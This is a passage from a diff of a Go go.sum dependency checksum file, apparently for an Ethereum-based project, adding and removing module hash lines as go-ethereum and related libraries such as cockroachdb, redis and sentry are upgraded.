h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= +github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cockroachdb/datadriven v1.0.3-0.20230413201302-be42291fc80f h1:otljaYPt5hWxV3MUfO5dFPFiOXg9CyG5/kCfayTqsJ4= +github.com/cockroachdb/datadriven v1.0.3-0.20230413201302-be42291fc80f/go.mod h1:a9RdTaap04u637JoCzcUoIcDmvwSUtcUFtT/C3kJlTU= +github.com/cockroachdb/errors v1.11.1 h1:xSEW75zKaKCWzR3OfxXUxgrk/NtT4G1MiOv5lWZazG8= +github.com/cockroachdb/errors v1.11.1/go.mod h1:8MUxA3Gi6b25tYlFEBGLf+D8aISL+M4MIpiWMSNRfxw= +github.com/cockroachdb/logtags v0.0.0-20230118201751-21c54148d20b h1:r6VH0faHjZeQy818SGhaone5OnYfxFR/+AzdY3sf5aE= +github.com/cockroachdb/logtags v0.0.0-20230118201751-21c54148d20b/go.mod h1:Vz9DsVWQQhf3vs21MhPMZpMGSht7O/2vFW2xusFUVOs= +github.com/cockroachdb/pebble v0.0.0-20231020221949-babd592d2360 h1:x1dzGu9e1FYmkG8mL9emtdWD1EzH/17SijnoLvKvPiM= +github.com/cockroachdb/pebble v0.0.0-20231020221949-babd592d2360/go.mod h1:sEHm5NOXxyiAoKWhoFxT8xMgd/f3RA6qUqQ1BXKrh2E= +github.com/cockroachdb/redact v1.1.5 h1:u1PMllDkdFfPWaNGMyLD1+so+aq3uUItthCFqzwPJ30= +github.com/cockroachdb/redact v1.1.5/go.mod h1:BVNblN9mBWFyMyqK1k3AAiSxhvhfK2oOZZ2lK+dpvRg= +github.com/cockroachdb/tokenbucket v0.0.0-20230807174530-cc333fc44b06 h1:zuQyyAKVxetITBuuhv3BI9cMrmStnpT18zmgmTxunpo= +github.com/cockroachdb/tokenbucket v0.0.0-20230807174530-cc333fc44b06/go.mod h1:7nc4anLGjupUW/PeY5qiNYsdNXj7zopG+eqsS7To5IQ= +github.com/consensys/bavard v0.1.13 h1:oLhMLOFGTLdlda/kma4VOJazblc7IM5y5QPd2A/YjhQ= +github.com/consensys/bavard v0.1.13/go.mod h1:9ItSMtA/dXMAiL7BG6bqW2m3NdSEObYWoH223nGHukI= +github.com/consensys/gnark-crypto v0.12.1 h1:lHH39WuuFgVHONRl3J0LRBtuYdQTumFSDtJF7HpyG8M= +github.com/consensys/gnark-crypto v0.12.1/go.mod h1:v2Gy7L/4ZRosZ7Ivs+9SfUDr0f5UlG+EM5t7MPHiLuY= +github.com/crate-crypto/go-kzg-4844 v0.7.0 h1:C0vgZRk4q4EZ/JgPfzuSoxdCq3C3mOZMBShovmncxvA= +github.com/crate-crypto/go-kzg-4844 v0.7.0/go.mod h1:1kMhvPgI0Ky3yIa+9lFySEBUBXkYxeOi8ZF1sYioxhc= github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= -github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= -github.com/dave/jennifer v1.2.0/go.mod h1:fIb+770HOpJ2fmN9EPPKOqm1vMGhB+TwXKMZhrIygKg= -github.com/davecgh/go-spew v0.0.0-20171005155431-ecdeabc65495/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/deckarep/golang-set v1.8.0 h1:sk9/l/KqpunDwP7pSjUg0keiOOLEnOBHzykLrsPppp4= -github.com/deckarep/golang-set v1.8.0/go.mod h1:5nI87KwE7wgsBU1F4GKAw2Qod7p5kyS383rP6+o6qqo= -github.com/decred/dcrd/crypto/blake256 v1.0.0 h1:/8DMNYp9SGi5f0w7uCm6d6M4OU2rGFK09Y2A4Xv7EE0= -github.com/decred/dcrd/crypto/blake256 v1.0.0/go.mod h1:sQl2p6Y26YV+ZOcSTP6thNdn47hh8kt6rqSlvmrXFAc= -github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1 h1:YLtO71vCjJRCBcrPMtQ9nqBsqpA1m5sE92cU+pd5Mcc= -github.com/decred/dcrd/dcrec/secp256k1/v4 v4.0.1/go.mod h1:hyedUtir6IdtD/7lIxGeCxkaw7y45JueMRL4DIyJDKs= -github.com/decred/dcrd/lru v1.0.0/go.mod h1:mxKOwFd7lFjN2GZYsiz/ecgqR6kkYAl+0pz0tEMk218= -github.com/deepmap/oapi-codegen v1.6.0/go.mod h1:ryDa9AgbELGeB+YEXE1dR53yAjHwFvE9iAUlWl9Al3M= -github.com/deepmap/oapi-codegen v1.8.2/go.mod h1:YLgSKSDv/bZQB7N4ws6luhozi3cEdRktEqrX88CvjIw= -github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= -github.com/dgryski/go-bitstream v0.0.0-20180413035011-3522498ce2c8/go.mod h1:VMaSuZ+SZcx/wljOQKvp5srsbCiKDEb6K2wC4+PiBmQ= +github.com/deckarep/golang-set/v2 v2.3.1 h1:vjmkvJt/IV27WXPyYQpAh4bRyWJc5Y435D17XQ9QU5A= +github.com/deckarep/golang-set/v2 v2.3.1/go.mod h1:VAky9rY/yGXJOLEDv3OMci+7wtDpOF4IN+y82NBOac4= +github.com/decred/dcrd/crypto/blake256 v1.0.1 h1:7PltbUIQB7u/FfZ39+DGa/ShuMyJ5ilcvdfma9wOH6Y= +github.com/decred/dcrd/crypto/blake256 v1.0.1/go.mod h1:2OfgNZ5wDpcsFmHmCK5gZTPcCXqlm2ArzUIkw9czNJo= +github.com/decred/dcrd/dcrec/secp256k1/v4 v4.2.0 h1:8UrgZ3GkP4i/CLijOJx79Yu+etlyjdBU4sfcs2WYQMs= +github.com/decred/dcrd/dcrec/secp256k1/v4 v4.2.0/go.mod h1:v57UDF4pDQJcEfFUCRop3lJL149eHGSe9Jvczhzjo/0= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= -github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= -github.com/dlclark/regexp2 v1.4.1-0.20201116162257-a2a8dda75c91/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc= -github.com/dnaeon/go-vcr v1.1.0/go.mod h1:M7tiix8f0r6mKKJ3Yq/kqU1OYf3MnfmBWVbPx/yU9ko= -github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ= -github.com/docker/docker v1.4.2-0.20180625184442-8e610b2b55bf/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= -github.com/dop251/goja v0.0.0-20211011172007-d99e4b8cbf48/go.mod h1:R9ET47fwRVRPZnOGvHxxhuZcbrMCuiqOz3Rlrh4KSnk= -github.com/dop251/goja_nodejs v0.0.0-20210225215109-d91c329300e7/go.mod h1:hn7BA7c8pLvoGndExHudxTDKZ84Pyvv+90pbBjbTz0Y= -github.com/eclipse/paho.mqtt.golang v1.2.0/go.mod h1:H9keYFcgq3Qr5OUJm/JZI/i6U7joQ8SYLhZwfeOo6Ts= -github.com/edsrzf/mmap-go v1.0.0/go.mod h1:YO35OhQPt3KJa3ryjFM5Bs14WD66h8eGKpfaBNrHW5M= -github.com/edsrzf/mmap-go v1.1.0 h1:6EUwBLQ/Mcr1EYLE4Tn1VdW1A4ckqCQWZBw8Hr0kjpQ= -github.com/edsrzf/mmap-go v1.1.0/go.mod h1:19H/e8pUPLicwkyNgOykDXkJ9F0MHE+Z52B8EIth78Q= -github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= -github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= -github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= -github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= -github.com/ethereum/go-ethereum v1.10.17 h1:XEcumY+qSr1cZQaWsQs5Kck3FHB0V2RiMHPdTBJ+oT8= -github.com/ethereum/go-ethereum v1.10.17/go.mod h1:Lt5WzjM07XlXc95YzrhosmR4J9Ahd6X2wyEV2SvGhk0= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/fjl/memsize v0.0.0-20190710130421-bcb5799ab5e5/go.mod h1:VvhXpOYNQvB+uIk2RvXzuaQtkQJzzIx6lSBe1xv7hi0= -github.com/fjl/memsize v0.0.1 h1:+zhkb+dhUgx0/e+M8sF0QqiouvMQUiKR+QYvdxIOKcQ= -github.com/fjl/memsize v0.0.1/go.mod h1:VvhXpOYNQvB+uIk2RvXzuaQtkQJzzIx6lSBe1xv7hi0= -github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= +github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc= +github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ= +github.com/ethereum/c-kzg-4844 v0.4.0 h1:3MS1s4JtA868KpJxroZoepdV0ZKBp3u/O5HcZ7R3nlY= +github.com/ethereum/c-kzg-4844 v0.4.0/go.mod h1:VewdlzQmpT5QSrVhbBuGoCdFJkpaJlO1aQputP83wc0= +github.com/ethereum/go-ethereum v1.13.4 h1:25HJnaWVg3q1O7Z62LaaI6S9wVq8QCw3K88g8wEzrcM= +github.com/ethereum/go-ethereum v1.13.4/go.mod h1:I0U5VewuuTzvBtVzKo7b3hJzDhXOUtn9mJW7SsIPB0Q= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= -github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= -github.com/gballet/go-libpcsclite v0.0.0-20190607065134-2772fd86a8ff/go.mod h1:x7DCsMOv1taUwEWCzT4cmDeAkigA5/QCwUodaVOe8Ww= -github.com/gballet/go-libpcsclite v0.0.0-20191108122812-4678299bea08 h1:f6D9Hr8xV8uYKlyuj8XIruxlh9WjVjdh1gIicAS7ays= -github.com/gballet/go-libpcsclite v0.0.0-20191108122812-4678299bea08/go.mod h1:x7DCsMOv1taUwEWCzT4cmDeAkigA5/QCwUodaVOe8Ww= -github.com/getkin/kin-openapi v0.53.0/go.mod h1:7Yn5whZr5kJi6t+kShccXS8ae1APpYTW6yheSwk8Yi4= -github.com/getkin/kin-openapi v0.61.0/go.mod h1:7Yn5whZr5kJi6t+kShccXS8ae1APpYTW6yheSwk8Yi4= -github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= -github.com/glycerine/go-unsnap-stream v0.0.0-20180323001048-9f0cb55181dd/go.mod h1:/20jfyN9Y5QPEAprSgKAUr+glWDY39ZiUEAYOEv5dsE= -github.com/glycerine/goconvey v0.0.0-20190410193231-58a59202ab31/go.mod h1:Ogl1Tioa0aV7gstGFO7KhffUsb9M4ydbEbbxpcEDc24= -github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= -github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= -github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= -github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= -github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= -github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= -github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= -github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= -github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= -github.com/go-ole/go-ole v1.2.1/go.mod h1:7FAglXiTm7HKlQRDeOQ6ZNUHidzCWXuZWq/1dTyBNF8= -github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= +github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= +github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= +github.com/getsentry/sentry-go v0.25.0 h1:q6Eo+hS+yoJlTO3uu/azhQadsD8V+jQn2D8VvX1eOyI= +github.com/getsentry/sentry-go v0.25.0/go.mod h1:lc76E2QywIyW8WuBnwl8Lc4bkmQH4+w1gwTf25trprY= +github.com/go-errors/errors v1.4.2 h1:J6MZopCL4uSllY1OfXM374weqZFFItUbrImctkmUxIA= +github.com/go-errors/errors v1.4.2/go.mod h1:sIVyrIiJhuEF+Pj9Ebtd6P/rEYROXFi3BopGUQ5a5Og= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= -github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= -github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= +github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= +github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= +github.com/go-redis/redis v6.15.9+incompatible h1:K0pv1D7EQUjfyoMql+r/jZqCLizCGKFlFgcHWWmHQjg= +github.com/go-redis/redis v6.15.9+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA= +github.com/go-redis/redis/v7 v7.4.0 h1:7obg6wUoj05T0EpY0o8B59S9w5yeMWql7sw2kwNW1x4= +github.com/go-redis/redis/v7 v7.4.0/go.mod h1:JDNMw23GTyLNC4GZu9njt15ctBQVn7xjRfnwdHj/Dcg= github.com/go-redis/redis/v8 v8.11.4 h1:kHoYkfZP6+pe04aFTnhDH6GDROa5yJdHJVNxV3F46Tg= github.com/go-redis/redis/v8 v8.11.4/go.mod h1:2Z2wHZXdQpCDXEGzqMockDpNyYvi2l4Pxt6RJr792+w= -github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg= -github.com/go-sql-driver/mysql v1.4.1/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w= -github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/go-redsync/redsync/v4 v4.10.0 h1:hTeAak4C73mNBQSTq6KCKDFaiIlfC+z5yTTl8fCJuBs= +github.com/go-redsync/redsync/v4 v4.10.0/go.mod h1:ZfayzutkgeBmEmBlUR3j+rF6kN44UUGtEdfzhBFZTPc= github.com/go-stack/stack v1.8.1 h1:ntEHSVwIt7PNXNpgPmVfMrNhLtgjlmnZha2kOpuRiDw= github.com/go-stack/stack v1.8.1/go.mod h1:dcoOX6HbPZSZptuspn9bctJ+N/CnF5gGygcUP3XYfe4= -github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= -github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= -github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= -github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o= -github.com/golang-jwt/jwt/v4 v4.3.0 h1:kHL1vqdqWNfATmA0FNMdmZNMyZI1U6O31X4rlIPoBog= -github.com/golang-jwt/jwt/v4 v4.3.0/go.mod h1:/xlHOz8bRuivTWchD4jCa+NbatV+wEUSzwAxVc6locg= -github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= -github.com/golang/geo v0.0.0-20190916061304-5b978397cfec/go.mod h1:QZ0nwyI2jOfgRAoBvP+ab5aRr7c9x7lhGEJrKvBwjWI= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= -github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= -github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= -github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= -github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/gofrs/flock v0.8.1 h1:+gYjHKf32LDeiEEFhQaotPbLuUXjY5ZqxKgXy7n59aw= +github.com/gofrs/flock v0.8.1/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU= +github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= +github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= -github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= -github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= -github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= -github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= -github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= -github.com/gomodule/redigo v1.8.8 h1:f6cXq6RRfiyrOJEV7p3JhLDlmawGBVBBP1MggY8Mo4E= -github.com/gomodule/redigo v1.8.8/go.mod h1:7ArFNvsTjH8GMMzB4uy1snslv2BwmginuMs06a1uzZE= -github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/flatbuffers v1.11.0/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= -github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/golang/snappy v0.0.5-0.20220116011046-fa5810519dcb h1:PBC98N2aIaM3XXiurYmW7fx4GZkL8feAMVq7nEjURHk= +github.com/golang/snappy v0.0.5-0.20220116011046-fa5810519dcb/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/gomodule/redigo v1.8.9 h1:Sl3u+2BI/kk+VEatbj0scLdrFhjPmbxOc1myhDP41ws= +github.com/gomodule/redigo v1.8.9/go.mod h1:7ArFNvsTjH8GMMzB4uy1snslv2BwmginuMs06a1uzZE= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= -github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/gofuzz v1.1.1-0.20200604201612-c04b05f3adfa/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= -github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= -github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= -github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= -github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= 